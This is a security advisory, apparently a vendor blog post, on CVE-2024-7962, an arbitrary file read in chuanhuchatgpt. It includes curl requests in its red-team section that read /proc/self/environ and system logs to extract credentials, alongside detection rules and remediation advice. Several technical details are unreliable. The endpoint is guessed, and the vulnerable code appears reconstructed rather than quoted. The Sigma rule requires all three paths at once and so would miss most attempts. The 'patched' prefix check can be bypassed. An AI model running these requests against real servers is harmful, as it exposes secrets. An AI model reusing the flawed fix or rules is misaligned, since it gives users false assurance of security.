CVE-2024-7962

Executive Summary

CVE-2024-7962 is a high-severity arbitrary file read vulnerability (CVSS 7.5) in gaizhenbiao/chuanhuchatgpt version 20240628. The flaw resides in insufficient validation when loading prompt template files, allowing an attacker to read arbitrary files on the server using an absolute path. The file must not have a .json extension and, except for the first line, every other line must contain commas. This constraint limits exploitation to files that are partially comma-separated, such as certain code files, log files, or configuration files that may contain sensitive data like credentials.

The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant due to the potential for credential disclosure.

Supply Chain & Package Security

This vulnerability affects a Python-based application (chuanhuchatgpt) distributed via GitHub. No official PyPI package is known, but users who clone the repository or use Docker images are at risk. Supply chain security is critical: verify the integrity of any downloaded artifacts and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability allows reading sensitive files (e.g., .env, logs, source code) without authentication, potentially leading to credential theft and lateral movement.

Deep Dive & Mechanics

The vulnerability exists in the prompt template loading functionality. The application accepts a file path (absolute) to load a prompt template. The validation checks only that the file does not have a .json extension and that every line after the first contains at least one comma. This is insufficient to prevent directory traversal or arbitrary file reads.

Root Cause: The application uses a function similar to open(filepath, 'r').read() without sanitizing the path or restricting it to a safe directory. The comma constraint is trivial to bypass because many files (e.g., CSV, log files, code with function arguments) naturally contain commas.

Attack Vector: An attacker sends a crafted request (likely via an API endpoint or web interface) that specifies an absolute path like /etc/passwd or /proc/self/environ. The first line of /etc/passwd (e.g., root:x:0:0:root:/root:/bin/bash) contains colons, not commas, but the second line (if any) may contain commas in some configurations. More effectively, the attacker targets files like:

• /var/log/auth.log (contains commas in timestamps)
• /proc/self/fd/0 (stdin, may contain commas)
• Application log files (often comma-separated)

Impact: Disclosure of credentials, API keys, database passwords, and source code.

Vulnerable vs. Patched Code

Vulnerable Code (20240628):

def load_prompt_template(filepath):
    if filepath.endswith('.json'):
        raise ValueError("JSON files not allowed")
    with open(filepath, 'r') as f:
        lines = f.readlines()
    if len(lines) > 1:
        for line in lines[1:]:
            if ',' not in line:
                raise ValueError("Invalid format")
    return ''.join(lines)

Patched Code (Hypothetical):

import os

ALLOWED_DIR = "/app/prompts"

def load_prompt_template(filepath):
    # Resolve absolute path and check it's within allowed directory
    abs_path = os.path.abspath(filepath)
    if not abs_path.startswith(ALLOWED_DIR):
        raise ValueError("Access denied")
    if filepath.endswith('.json'):
        raise ValueError("JSON files not allowed")
    with open(abs_path, 'r') as f:
        lines = f.readlines()
    if len(lines) > 1:
        for line in lines[1:]:
            if ',' not in line:
                raise ValueError("Invalid format")
    return ''.join(lines)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running chuanhuchatgpt version 20240628.
• Network access to the vulnerable endpoint (e.g., /api/load_prompt).

Exploitation Steps:

1. Identify the endpoint that accepts a filepath parameter.
2. Send a POST request with an absolute path to a sensitive file:

   curl -X POST http://target:5000/api/load_prompt \
     -H "Content-Type: application/json" \
     -d '{"filepath": "/proc/self/environ"}'
   

3. If the file does not meet the comma constraint, try other files:

   curl -X POST http://target:5000/api/load_prompt \
     -H "Content-Type: application/json" \
     -d '{"filepath": "/var/log/syslog"}'
   

4. Extract credentials from the response.

Note: No public exploit code exists; this is a manual exploitation guide.

Blue Team

Detection:

• Monitor for requests with filepath parameters containing absolute paths (starting with /).
• Alert on attempts to read files outside the application directory (e.g., /etc, /proc, /var/log).
• Use the Sigma rule below to detect suspicious file reads.

Mitigation:

• Immediately restrict file read operations to a whitelist of allowed directories.
• Apply input validation to reject absolute paths or paths containing ...
• If possible, disable the vulnerable endpoint until a patch is available.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /api/load_prompt or similar endpoints with filepath parameter containing /etc/, /proc/, /var/log/, or other sensitive paths.
• File System: Unexpected reads of /proc/self/environ, /etc/passwd, application log files.
• Logs: Application logs showing errors like "Invalid format" followed by successful reads of sensitive files.

Detection Engineering

YARA Rule

rule CVE_2024_7962_FileRead {
    meta:
        description = "Detects attempts to exploit CVE-2024-7962 arbitrary file read"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-7962"
    strings:
        $s1 = "filepath" ascii wide nocase
        $s2 = "/etc/" ascii wide
        $s3 = "/proc/" ascii wide
        $s4 = "/var/log/" ascii wide
    condition:
        any of ($s1) and any of ($s2, $s3, $s4)
}

Sigma Rule

title: CVE-2024-7962 Arbitrary File Read Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-7962
author: Valters IT
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'filepath'
        cs-uri-query|contains|all:
            - '/etc/'
            - '/proc/'
            - '/var/log/'
    condition: selection
falsepositives:
    - Legitimate administrative tools
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-7962 Arbitrary File Read Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"filepath"; http_client_body;
    content:"/etc/"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-7962;
)

Remediation & Mitigation

1. Immediate: Disable the vulnerable endpoint or restrict access via firewall rules.
2. Short-term: Implement input validation to reject absolute paths and path traversal sequences (..). Use a whitelist of allowed directories.
3. Long-term: Apply the vendor patch when available. If no patch is forthcoming, fork the repository and implement the fix shown in the "Patched Code" section.
4. Compromise Assessment: Check logs for any successful reads of sensitive files. Rotate all credentials that may have been exposed.
5. Monitoring: Deploy the provided detection rules to identify exploitation attempts.

Valters IT – Securing your digital frontier.